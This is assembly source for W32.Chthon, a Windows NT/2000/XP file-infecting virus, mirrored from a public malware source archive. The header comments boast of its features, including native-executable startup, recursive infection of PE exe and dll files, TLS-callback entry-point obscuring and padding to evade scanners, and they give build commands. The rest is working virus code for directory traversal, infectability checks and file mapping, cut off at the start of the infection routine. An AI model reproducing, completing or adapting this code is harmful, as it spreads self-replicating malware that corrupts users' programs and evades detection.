mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-29 14:35:27 +00:00
1811 lines
69 KiB
NASM
1811 lines
69 KiB
NASM
|
|
|||
|
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[CHTHON.ASM]<EFBFBD><EFBFBD><EFBFBD>
|
|||
|
comment ;)
|
|||
|
W32.Chthon by roy g biv
|
|||
|
|
|||
|
some of its features:
|
|||
|
- native executable - runs before GUI loads so also before any other files
|
|||
|
- parasitic direct action infector of PE exe/dll (but not looking at suffix)
|
|||
|
- infects files in current directory and all subdirectories
|
|||
|
- directory traversal is linked-list instead of recursive to reduce stack size
|
|||
|
- reloc section inserter/last section appender
|
|||
|
- weird EPO (TLS code used to drop file which contains replication code)
|
|||
|
- 100% Unicode function (because is for NT/2000/XP OS only)
|
|||
|
- uses CRCs instead of API names
|
|||
|
- uses SEH for common code exit
|
|||
|
- section attributes are not always altered (virus is not self-modifying)
|
|||
|
- no infect files with data outside of image (eg self-extractors)
|
|||
|
- infected files are padded by random amounts to confuse tail scanners
|
|||
|
- uses SEH walker to find kernel, uses import for ntdll (no hard-coded addresses)
|
|||
|
- correct file checksum without using imagehlp.dll :) 100% correct algorithm
|
|||
|
- plus some new code optimisations that were never seen before W32.Shrug :)
|
|||
|
|
|||
|
combined W32.Shrug and W32.OU812 that infects host file using a new technique
|
|||
|
|
|||
|
known bugs:
|
|||
|
- no SFC/SFP support. why? because it is not available to native files
|
|||
|
---
|
|||
|
|
|||
|
optimisation tip: Windows appends ".dll" automatically, so this works:
|
|||
|
push "cfs"
|
|||
|
push esp
|
|||
|
call LoadLibraryA
|
|||
|
---
|
|||
|
|
|||
|
to build this thing:
|
|||
|
tasm
|
|||
|
----
|
|||
|
tasm32 /ml /m3 chthon
|
|||
|
tlink32 /B:400000 /x chthon,,,import32
|
|||
|
|
|||
|
Virus is not self-modifying, so no need to alter section attributes
|
|||
|
---
|
|||
|
|
|||
|
We're in the middle of a phase transition:
|
|||
|
a butterfly flapping its wings at
|
|||
|
just the right moment could
|
|||
|
cause a storm to happen.
|
|||
|
-I'm trying to understand-
|
|||
|
I'm at a moment in my life-
|
|||
|
I don't know where to flap my wings.
|
|||
|
(Danny Hillis)
|
|||
|
|
|||
|
(;
|
|||
|
|
|||
|
.386
|
|||
|
.model flat
|
|||
|
|
|||
|
extern GetCurrentProcess:proc
|
|||
|
extern WriteProcessMemory:proc
|
|||
|
extern MessageBoxA:proc
|
|||
|
extern ExitProcess:proc
|
|||
|
|
|||
|
.data
|
|||
|
|
|||
|
;must be reverse alphabetical order because they are stored on stack
|
|||
|
;API names are not present in replications, only in dropper
|
|||
|
|
|||
|
krnnames db "RtlSetCurrentDirectory_U" , 0
|
|||
|
db "RtlRandom" , 0
|
|||
|
db "RtlFreeHeap" , 0
|
|||
|
db "RtlDosPathNameToNtPathName_U", 0
|
|||
|
db "RtlAllocateHeap" , 0
|
|||
|
db "NtUnmapViewOfSection" , 0
|
|||
|
db "NtSetInformationFile" , 0
|
|||
|
db "NtQueryDirectoryFile" , 0
|
|||
|
db "NtOpenFile" , 0
|
|||
|
db "NtMapViewOfSection" , 0
|
|||
|
db "NtCreateSection" , 0
|
|||
|
db "NtClose" , 0
|
|||
|
|
|||
|
exenames db "WriteFile" , 0
|
|||
|
db "SetFileAttributesA" , 0
|
|||
|
db "MoveFileA" , 0
|
|||
|
db "LoadLibraryA" , 0
|
|||
|
db "GlobalFree" , 0
|
|||
|
db "GlobalAlloc" , 0
|
|||
|
db "GetWindowsDirectoryA" , 0
|
|||
|
db "GetTickCount" , 0
|
|||
|
db "GetTempFileNameA" , 0
|
|||
|
db "GetFileAttributesA" , 0
|
|||
|
db "DeleteFileA" , 0
|
|||
|
db "CreateFileA" , 0
|
|||
|
db "CloseHandle" , 0
|
|||
|
|
|||
|
regnames db "RegSetValueExA", 0
|
|||
|
db "RegOpenKeyA" , 0
|
|||
|
db "RegCloseKey" , 0
|
|||
|
|
|||
|
sysname equ "chthon" ;must be < 8 bytes long else code change
|
|||
|
|
|||
|
txttitle db sysname, 0
|
|||
|
txtbody db "Please reboot to finish installing ;)", 0
|
|||
|
|
|||
|
include chthon.inc
|
|||
|
|
|||
|
.code
|
|||
|
assume fs:nothing
|
|||
|
dropper label near
|
|||
|
mov edx, krncrc_count
|
|||
|
mov ebx, offset krnnames
|
|||
|
mov edi, offset krncrcbegin
|
|||
|
call create_crcs
|
|||
|
mov edx, execrc_count
|
|||
|
mov ebx, offset exenames
|
|||
|
mov edi, offset execrcbegin
|
|||
|
call create_crcs
|
|||
|
mov edx, regcrc_count
|
|||
|
mov ebx, offset regnames
|
|||
|
mov edi, offset regcrcbegin
|
|||
|
call create_crcs
|
|||
|
call patch_host
|
|||
|
xor ebx, ebx
|
|||
|
push ebx
|
|||
|
push offset txttitle
|
|||
|
push offset txtbody
|
|||
|
push ebx
|
|||
|
call MessageBoxA
|
|||
|
push ebx
|
|||
|
call ExitProcess
|
|||
|
|
|||
|
create_crcs proc near
|
|||
|
imul ebp, edx, 4
|
|||
|
|
|||
|
create_loop label near
|
|||
|
or eax, -1
|
|||
|
|
|||
|
create_outer label near
|
|||
|
xor al, byte ptr [ebx]
|
|||
|
push 8
|
|||
|
pop ecx
|
|||
|
|
|||
|
create_inner label near
|
|||
|
add eax, eax
|
|||
|
jnb create_skip
|
|||
|
xor eax, 4c11db7h ;use generator polymonial (see IEEE 802)
|
|||
|
|
|||
|
create_skip label near
|
|||
|
loop create_inner
|
|||
|
sub cl, byte ptr [ebx] ;carry set if not zero
|
|||
|
inc ebx ;carry not altered by inc
|
|||
|
jb create_outer
|
|||
|
push eax
|
|||
|
dec edx
|
|||
|
jne create_loop
|
|||
|
mov eax, esp
|
|||
|
push ecx
|
|||
|
push ebp
|
|||
|
push eax
|
|||
|
push edi
|
|||
|
call GetCurrentProcess
|
|||
|
push eax
|
|||
|
xchg esi, eax
|
|||
|
call WriteProcessMemory
|
|||
|
add esp, ebp
|
|||
|
ret
|
|||
|
create_crcs endp
|
|||
|
|
|||
|
patch_host label near
|
|||
|
pop ecx
|
|||
|
push ecx
|
|||
|
call $ + 5
|
|||
|
pop eax
|
|||
|
add eax, offset host_patch - offset $ + 1
|
|||
|
sub ecx, eax
|
|||
|
push ecx
|
|||
|
mov eax, esp
|
|||
|
xor edi, edi
|
|||
|
push edi
|
|||
|
push 4
|
|||
|
push eax
|
|||
|
push offset host_patch + 3
|
|||
|
push esi
|
|||
|
call WriteProcessMemory
|
|||
|
push edi ;fake Reserved
|
|||
|
push edi ;fake Reason
|
|||
|
push edi ;fake DLLHandle
|
|||
|
push edi ;fake return address
|
|||
|
jmp chthon_tlscode
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;everything before this point is dropper code
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;virus code begins here
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
chthon_begin proc near
|
|||
|
enter (size findlist - 5) and -4, 0 ;Windows NT/2000/XP enables alignment check exception
|
|||
|
;so some APIs fail if buffer is not dword aligned
|
|||
|
;-5 to align at 2 dwords earlier
|
|||
|
;because EBP saved automatically
|
|||
|
;and other register saved next
|
|||
|
push 0 ;zero findprev in findlist
|
|||
|
mov edi, dword ptr ds:[40102ch] ;understand this before you think to change it!
|
|||
|
call find_mzhdr
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;API CRC table, null terminated
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
krncrcbegin label near ;place < 80h bytes from call for smaller code
|
|||
|
dd (krncrc_count + 1) dup (0)
|
|||
|
krncrcend label near
|
|||
|
dd offset get_heaphand - offset krncrcend + 4
|
|||
|
db "Chthon - roy g biv" ;trust me - I'm a local
|
|||
|
tlsdata tlsstruc <0>
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;moved label after some data because "e800000000" looks like virus code ;)
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
find_mzhdr label near
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;do not use hard-coded kernel address values because it is not portable
|
|||
|
;Microsoft used all different values for 95, 98, NT, 2000, Me, XP
|
|||
|
;they will maybe change again for every new release
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
dec edi ;sub 64kb
|
|||
|
xor di, di ;64kb align
|
|||
|
call is_pehdr
|
|||
|
jne find_mzhdr
|
|||
|
mov ebx, edi
|
|||
|
pop edi
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;parse export table
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
mov esi, dword ptr [esi + pehdr.peexport.dirrva - pehdr.pecoff]
|
|||
|
lea esi, dword ptr [ebx + esi + peexp.expadrrva]
|
|||
|
lods dword ptr [esi] ;Export Address Table RVA
|
|||
|
lea edx, dword ptr [ebx + eax]
|
|||
|
lods dword ptr [esi] ;Name Pointer Table RVA
|
|||
|
lea ecx, dword ptr [ebx + eax]
|
|||
|
lods dword ptr [esi] ;Ordinal Table RVA
|
|||
|
lea ebp, dword ptr [ebx + eax]
|
|||
|
mov esi, ecx
|
|||
|
|
|||
|
push_export label near
|
|||
|
push ecx
|
|||
|
|
|||
|
get_export label near
|
|||
|
lods dword ptr [esi]
|
|||
|
push ebx
|
|||
|
add ebx, eax ;Name Pointer VA
|
|||
|
or eax, -1
|
|||
|
|
|||
|
crc_outer label near
|
|||
|
xor al, byte ptr [ebx]
|
|||
|
push 8
|
|||
|
pop ecx
|
|||
|
|
|||
|
crc_inner label near
|
|||
|
add eax, eax
|
|||
|
jnb crc_skip
|
|||
|
xor eax, 4c11db7h ;use generator polymonial (see IEEE 802)
|
|||
|
|
|||
|
crc_skip label near
|
|||
|
loop crc_inner
|
|||
|
sub cl, byte ptr [ebx] ;carry set if not zero
|
|||
|
inc ebx ;carry not altered by inc
|
|||
|
jb crc_outer
|
|||
|
pop ebx
|
|||
|
cmp dword ptr [edi], eax
|
|||
|
jne get_export
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;exports must be sorted alphabetically, otherwise GetProcAddress() would fail
|
|||
|
;this allows to push addresses onto the stack, and the order is known
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
pop ecx
|
|||
|
mov eax, esi
|
|||
|
sub eax, ecx ;Name Pointer Table VA
|
|||
|
shr eax, 1
|
|||
|
movzx eax, word ptr [ebp + eax - 2] ;get export ordinal
|
|||
|
mov eax, dword ptr [eax * 4 + edx] ;get export RVA
|
|||
|
add eax, ebx
|
|||
|
push eax
|
|||
|
scas dword ptr [edi]
|
|||
|
cmp dword ptr [edi], 0
|
|||
|
jne push_export
|
|||
|
add edi, dword ptr [edi + 4]
|
|||
|
jmp edi
|
|||
|
|
|||
|
get_heaphand label near
|
|||
|
mov ebx, esp
|
|||
|
lea esi, dword ptr [ebx + size krncrcstk]
|
|||
|
mov eax, dword ptr fs:[tib.TibTeb]
|
|||
|
mov edi, dword ptr [eax + teb.heaphand]
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;set initial scanning directory (Windows directory takes too long), but
|
|||
|
;if initial directory is not existing, then Windows directory will be used
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
call init_dire
|
|||
|
|
|||
|
init_dirb label near
|
|||
|
dw "\", "p", "r", "o", "g", "r", "a", "m", " ", "f", "i", "l", "e", "s", 0
|
|||
|
|
|||
|
init_dire label near
|
|||
|
push offset init_dire - offset init_dirb
|
|||
|
push esp
|
|||
|
call dword ptr [ebx + krncrcstk.kRtlSetCurrentDirectory_U]
|
|||
|
pop eax
|
|||
|
pop eax
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;non-recursive directory traverser
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
scan_dir label near
|
|||
|
push '*'
|
|||
|
mov eax, esp
|
|||
|
lea ecx, dword ptr [esi + findlist.findmask]
|
|||
|
push ecx
|
|||
|
push eax
|
|||
|
lea ecx, dword ptr [esi + findlist.findname]
|
|||
|
push ecx
|
|||
|
push eax
|
|||
|
call dword ptr [ebx + krncrcstk.kRtlDosPathNameToNtPathName_U]
|
|||
|
pop eax
|
|||
|
xor ecx, ecx
|
|||
|
push ecx
|
|||
|
push ecx
|
|||
|
push ecx
|
|||
|
lea eax, dword ptr [esi + findlist.findname.UniLength]
|
|||
|
sub dword ptr [eax], 4 ;no count "\??\"
|
|||
|
push eax
|
|||
|
push ecx
|
|||
|
push size OBJECT_ATTRIBUTES
|
|||
|
mov eax, esp
|
|||
|
push FILE_DIRECTORY_FILE or FILE_SYNCHRONOUS_IO_NONALERT or FILE_OPEN_FOR_BACKUP_INTENT
|
|||
|
push FILE_SHARE_READ or FILE_SHARE_WRITE
|
|||
|
push esp
|
|||
|
push eax
|
|||
|
push FILE_LIST_DIRECTORY or SYNCHRONIZE
|
|||
|
lea eax, dword ptr [esi + findlist.findhand]
|
|||
|
push eax
|
|||
|
call dword ptr [ebx + krncrcstk.kNtOpenFile]
|
|||
|
add esp, size OBJECT_ATTRIBUTES
|
|||
|
test eax, eax
|
|||
|
jl find_prev
|
|||
|
lea ebp, dword ptr [esi + findlist.findmask]
|
|||
|
|
|||
|
find_next label near
|
|||
|
push 0
|
|||
|
push ebp
|
|||
|
push esp ;non-zero
|
|||
|
push FileBothDirectoryInformation
|
|||
|
push size FILE_DIRECTORY_INFORMATION
|
|||
|
lea eax, dword ptr [esi + findlist.finddata]
|
|||
|
push eax
|
|||
|
push esp
|
|||
|
xor ebp, ebp
|
|||
|
push ebp
|
|||
|
push ebp
|
|||
|
push ebp
|
|||
|
push dword ptr [esi + findlist.findhand]
|
|||
|
call dword ptr [ebx + krncrcstk.kNtQueryDirectoryFile]
|
|||
|
test eax, eax
|
|||
|
jl find_prev
|
|||
|
|
|||
|
;you must always step forward from where you stand
|
|||
|
|
|||
|
mov ecx, dword ptr [esi + findlist.finddata.dirFileNameLength]
|
|||
|
lea eax, dword ptr [esi + findlist.finddata.dirFileName]
|
|||
|
mov dword ptr [eax + ecx], ebp
|
|||
|
test byte ptr [esi + findlist.finddata.dirFileAttributes], FILE_ATTRIBUTE_DIRECTORY
|
|||
|
je test_file
|
|||
|
cmp byte ptr [eax], '.' ;ignore . and .. (but also .* directories under NT/2000/XP)
|
|||
|
je find_next
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;enter subdirectory, and allocate another list node
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
push eax
|
|||
|
push ecx
|
|||
|
push esp
|
|||
|
call dword ptr [ebx + krncrcstk.kRtlSetCurrentDirectory_U]
|
|||
|
test eax, eax
|
|||
|
pop eax
|
|||
|
pop eax
|
|||
|
jl find_next
|
|||
|
push offset size findlist
|
|||
|
push ebp
|
|||
|
push edi
|
|||
|
call dword ptr [ebx + krncrcstk.kRtlAllocateHeap]
|
|||
|
xchg ecx, eax
|
|||
|
jecxz step_updir
|
|||
|
xchg esi, ecx
|
|||
|
mov dword ptr [esi], ecx
|
|||
|
jmp scan_dir
|
|||
|
org $ - 2 ;select top 16 bits of jump
|
|||
|
chthon_exit label near ;game over
|
|||
|
org $ + 2
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;close find, and free list node if not list head
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
find_prev label near
|
|||
|
push dword ptr [esi + findlist.findhand]
|
|||
|
call dword ptr [ebx + krncrcstk.kNtClose]
|
|||
|
push dword ptr [esi + findlist.findname.Buffer]
|
|||
|
push ebp
|
|||
|
push edi
|
|||
|
call dword ptr [ebx + krncrcstk.kRtlFreeHeap]
|
|||
|
mov ecx, dword ptr [esi + findlist.findprev]
|
|||
|
jecxz chthon_exit
|
|||
|
push esi
|
|||
|
mov esi, ecx
|
|||
|
push ebp
|
|||
|
push edi
|
|||
|
call dword ptr [ebx + krncrcstk.kRtlFreeHeap]
|
|||
|
|
|||
|
step_updir label near
|
|||
|
push ebp
|
|||
|
push '.' shl 10h + '.'
|
|||
|
push esp
|
|||
|
push 2
|
|||
|
push esp
|
|||
|
call dword ptr [ebx + krncrcstk.kRtlSetCurrentDirectory_U]
|
|||
|
add esp, size UNICODE_STRING + 8
|
|||
|
jmp find_next
|
|||
|
|
|||
|
test_file label near
|
|||
|
push ebx
|
|||
|
push edi
|
|||
|
push eax
|
|||
|
push ecx
|
|||
|
mov eax, esp
|
|||
|
push ebp
|
|||
|
push ebp
|
|||
|
push ebp
|
|||
|
push eax
|
|||
|
push dword ptr [esi + findlist.findmask.RootDir]
|
|||
|
push size OBJECT_ATTRIBUTES
|
|||
|
mov ebx, esp
|
|||
|
push eax
|
|||
|
mov eax, esp
|
|||
|
push FILE_SYNCHRONOUS_IO_NONALERT or FILE_OPEN_FOR_BACKUP_INTENT
|
|||
|
push ebp
|
|||
|
push esp
|
|||
|
push ebx
|
|||
|
push FILE_WRITE_ATTRIBUTES or SYNCHRONIZE
|
|||
|
push eax
|
|||
|
call dword ptr [ebx + size openstk + krncrcstk.kNtOpenFile]
|
|||
|
pop ecx
|
|||
|
push ecx
|
|||
|
push ebp
|
|||
|
push FILE_ATTRIBUTE_ARCHIVE
|
|||
|
push ebp
|
|||
|
push ebp
|
|||
|
push ebp
|
|||
|
push ebp
|
|||
|
push ebp
|
|||
|
push ebp
|
|||
|
push ebp
|
|||
|
push ebp
|
|||
|
mov eax, esp
|
|||
|
push FileBasicInformation
|
|||
|
push size FILE_BASIC_INFORMATION
|
|||
|
push eax
|
|||
|
push esp
|
|||
|
push ecx
|
|||
|
call dword ptr [ebx + size openstk + krncrcstk.kNtSetInformationFile]
|
|||
|
add esp, size FILE_BASIC_INFORMATION
|
|||
|
call dword ptr [ebx + size openstk + krncrcstk.kNtClose]
|
|||
|
push eax
|
|||
|
mov eax, esp
|
|||
|
push FILE_SYNCHRONOUS_IO_NONALERT or FILE_OPEN_FOR_BACKUP_INTENT
|
|||
|
push ebp
|
|||
|
push esp
|
|||
|
push ebx
|
|||
|
push FILE_READ_DATA or FILE_WRITE_DATA or FILE_APPEND_DATA or FILE_WRITE_ATTRIBUTES or SYNCHRONIZE
|
|||
|
push eax
|
|||
|
call dword ptr [ebx + size openstk + krncrcstk.kNtOpenFile]
|
|||
|
call test_infect
|
|||
|
db 81h ;mask CALL
|
|||
|
call infect_file ;Super Nashwan power ;)
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;file time and attributes can be set with single call to NtSetInformationFile
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
close_file label near ;label required for delta offset
|
|||
|
pop ecx
|
|||
|
push ecx
|
|||
|
mov eax, dword ptr [esi + findlist.finddata.dirFileAttributes]
|
|||
|
mov dword ptr [esi + findlist.finddata.dirRealFileSize.dwordLow], eax
|
|||
|
push FileBasicInformation
|
|||
|
push size FILE_BASIC_INFORMATION
|
|||
|
lea eax, dword ptr [esi + findlist.finddata.dirCreationTime]
|
|||
|
push eax
|
|||
|
push esp
|
|||
|
push ecx
|
|||
|
call dword ptr [ebx + size openstk + krncrcstk.kNtSetInformationFile]
|
|||
|
call dword ptr [ebx + size openstk + krncrcstk.kNtClose]
|
|||
|
add esp, size OBJECT_ATTRIBUTES + size UNICODE_STRING
|
|||
|
pop edi
|
|||
|
pop ebx
|
|||
|
jmp find_next
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;look for MZ and PE file signatures
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
is_pehdr proc near ;edi -> map view
|
|||
|
cmp word ptr [edi], 'ZM' ;Windows does not check 'MZ'
|
|||
|
jne pehdr_ret
|
|||
|
mov esi, dword ptr [edi + mzhdr.mzlfanew]
|
|||
|
add esi, edi
|
|||
|
lods dword ptr [esi] ;SEH protects against bad lfanew value
|
|||
|
add eax, -'EP' ;anti-heuristic test filetype ;) and clear EAX
|
|||
|
|
|||
|
pehdr_ret label near
|
|||
|
ret ;if PE file, then eax = 0, esi -> COFF header, Z flag set
|
|||
|
db "11/11/01"
|
|||
|
is_pehdr endp
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;test if file is infectable (not protected, PE, x86, non-system, not infected, etc)
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
test_infect proc near ;esi = find data, edi = map view
|
|||
|
call map_view
|
|||
|
mov ebp, esi
|
|||
|
call is_pehdr
|
|||
|
jne inftest_ret
|
|||
|
lods dword ptr [esi]
|
|||
|
cmp ax, IMAGE_FILE_MACHINE_I386
|
|||
|
jne inftest_ret ;only Intel 386+
|
|||
|
shr eax, 0dh ;move high 16 bits into low 16 bits and multiply by 8
|
|||
|
lea edx, dword ptr [eax * 4 + eax] ;complete multiply by 28h (size pesect)
|
|||
|
mov ecx, dword ptr [esi + pehdr.pecoff.peflags - pehdr.pecoff.petimedate]
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;IMAGE_FILE_BYTES_REVERSED_* bits are rarely set correctly, so do not test them
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
test ch, (IMAGE_FILE_SYSTEM or IMAGE_FILE_UP_SYSTEM_ONLY) shr 8
|
|||
|
jne inftest_ret
|
|||
|
add esi, pehdr.peentrypoint - pehdr.pecoff.petimedate
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;if file is a .dll, then we require an entry point function
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
lods dword ptr [esi]
|
|||
|
xchg ecx, eax
|
|||
|
test ah, IMAGE_FILE_DLL shr 8
|
|||
|
je test_system
|
|||
|
jecxz inftest_ret
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;32-bit executable file...
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
test_system label near
|
|||
|
and ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_32BIT_MACHINE
|
|||
|
cmp ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_32BIT_MACHINE
|
|||
|
jne inftest_ret ;cannot use xor+jpo because 0 is also jpe
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;the COFF magic value is not checked because Windows ignores it anyway
|
|||
|
;IMAGE_FILE_MACHINE_IA64 machine type is the only reliable way to detect PE32+
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
mov eax, dword ptr [esi + pehdr.pesubsys - pehdr.pecodebase]
|
|||
|
cmp ax, IMAGE_SUBSYSTEM_WINDOWS_CUI
|
|||
|
jnbe inftest_ret
|
|||
|
cmp al, IMAGE_SUBSYSTEM_WINDOWS_GUI ;al not ax, because ah is known now to be 0
|
|||
|
jb inftest_ret
|
|||
|
shr eax, 1eh ;test eax, IMAGE_DLLCHARACTERISTICS_WDM_DRIVER shl 10h
|
|||
|
jb inftest_ret
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;avoid files which seem to contain attribute certificates
|
|||
|
;because one of those certificates might be a digital signature
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
cmp dword ptr [esi + pehdr.pesecurity.dirrva - pehdr.pecodebase], 0
|
|||
|
jne inftest_ret
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;cannot use the NumberOfRvaAndSizes field to calculate the Optional Header size
|
|||
|
;the Optional Header can be larger than the offset of the last directory
|
|||
|
;remember: even if you have not seen it does not mean that it does not happen :)
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
movzx eax, word ptr [esi + pehdr.pecoff.peopthdrsize - pehdr.pecodebase]
|
|||
|
add eax, edx
|
|||
|
lea esi, dword ptr [esi + eax - pehdr.pecodebase + pehdr.pemagic - size pesect + pesect.sectrawsize]
|
|||
|
lods dword ptr [esi]
|
|||
|
add eax, dword ptr [esi]
|
|||
|
cmp dword ptr [ebp + findlist.finddata.dirRealFileSize], eax
|
|||
|
jne inftest_ret ;file contains appended data
|
|||
|
inc dword ptr [esp + mapsehstk.mapsehinfret]
|
|||
|
;skip call mask
|
|||
|
|
|||
|
inftest_ret label near
|
|||
|
int 3
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;increase file size by random value (between RANDPADMIN and RANDPADMAX bytes)
|
|||
|
;I use RtlRandom() instead of RDTSC because RDTSC can be made privileged
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
open_append proc near
|
|||
|
push esi
|
|||
|
push esp
|
|||
|
call dword ptr [ebx + size openstk + krncrcstk.kRtlRandom]
|
|||
|
pop ecx
|
|||
|
and eax, RANDPADMAX - 1
|
|||
|
add ax, small (offset chthon_codeend - offset chthon_begin + RANDPADMIN)
|
|||
|
add dword ptr [esi + findlist.finddata.dirRealFileSize], eax
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;create file map, and map view if successful
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
map_view proc near ;ebx -> APIs, esi -> findlist, ebp = 0
|
|||
|
mov eax, dword ptr [esi + findlist.finddata.dirRealFileSize]
|
|||
|
push eax
|
|||
|
push dword ptr [esi + findlist.finddata.dirRealFileSize.dwordHigh]
|
|||
|
push eax
|
|||
|
mov eax, esp
|
|||
|
push ebp
|
|||
|
mov ecx, esp
|
|||
|
push PAGE_READWRITE ;NtMapViewOfSection
|
|||
|
push ebp ;NtMapViewOfSection
|
|||
|
push 1 ;NtMapViewOfSection
|
|||
|
push eax ;NtMapViewOfSection
|
|||
|
lea edx, dword ptr [esp - 0ch]
|
|||
|
push edx ;NtMapViewOfSection
|
|||
|
push ebp ;NtMapViewOfSection
|
|||
|
push ebp ;NtMapViewOfSection
|
|||
|
push ecx ;NtMapViewOfSection
|
|||
|
push -1 ;NtMapViewOfSection
|
|||
|
push eax ;NtMapViewOfSection
|
|||
|
push dword ptr [ebx - 4]
|
|||
|
push 08000000h
|
|||
|
push PAGE_READWRITE
|
|||
|
push eax
|
|||
|
push ebp
|
|||
|
push STANDARD_RIGHTS_REQUIRED or SECTION_QUERY or SECTION_MAP_WRITE or SECTION_MAP_READ
|
|||
|
lea ecx, dword ptr [edx - 0ch]
|
|||
|
push ecx
|
|||
|
call dword ptr [ebx + size openstk + krncrcstk.kNtCreateSection]
|
|||
|
pop edi
|
|||
|
push edi
|
|||
|
call dword ptr [ebx + size openstk + krncrcstk.kNtMapViewOfSection]
|
|||
|
pop eax
|
|||
|
pop ecx
|
|||
|
pop ecx
|
|||
|
pop ecx
|
|||
|
xchg edi, eax ;should succeed even if file cannot be opened
|
|||
|
pushad
|
|||
|
call unmap_seh
|
|||
|
mov esp, dword ptr [esp + 8]
|
|||
|
xor eax, eax
|
|||
|
pop dword ptr fs:[eax]
|
|||
|
pop eax
|
|||
|
popad ;SEH destroys all registers
|
|||
|
push eax
|
|||
|
push edi
|
|||
|
push -1
|
|||
|
call dword ptr [ebx + size openstk + krncrcstk.kNtUnmapViewOfSection]
|
|||
|
call dword ptr [ebx + size openstk + krncrcstk.kNtClose]
|
|||
|
pop eax
|
|||
|
ret
|
|||
|
|
|||
|
unmap_seh proc near
|
|||
|
cdq
|
|||
|
push dword ptr fs:[edx]
|
|||
|
mov dword ptr fs:[edx], esp
|
|||
|
jmp dword ptr [esp + 28h]
|
|||
|
unmap_seh endp
|
|||
|
map_view endp ;eax = map handle, ecx = new file size, edi = map view
|
|||
|
open_append endp
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
;infect file using a selection of styles for variety, using two parts
|
|||
|
;algorithm: increase file size by random amount (RANDPADMIN-RANDPADMAX
|
|||
|
; bytes) to confuse scanners that look at end of file (also
|
|||
|
; infection marker)
|
|||
|
; if reloc table is not in last section (taken from relocation
|
|||
|
; field in PE header, not section name), then append to last
|
|||
|
; section. otherwise, move relocs down and insert code into
|
|||
|
; space (to confuse people looking at end of file. they will
|
|||
|
; see only relocation data and garbage or many zeroes)
|
|||
|
;DLL infection: entry point is altered to point to some code. very simple
|
|||
|
;EXE infection: Entry Point Obscured via TLS callback function
|
|||
|
; if no TLS directory exists, then one will be created, with a
|
|||
|
; single callback function that points to this code
|
|||
|
; if a TLS directory exists, but no callback functions exist,
|
|||
|
; then a function pointer will be created that points to this
|
|||
|
; code
|
|||
|
; else if a TLS directory and callback functions exist, then the
|
|||
|
; first function pointer will be altered to point to this code
|
|||
|
; however, that code just drops exe, alters registry and returns
|
|||
|
; exe contains virus code which replicates on reboot
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
infect_file label near ;esi -> findlist, edi = map view
|
|||
|
call open_append
|
|||
|
|
|||
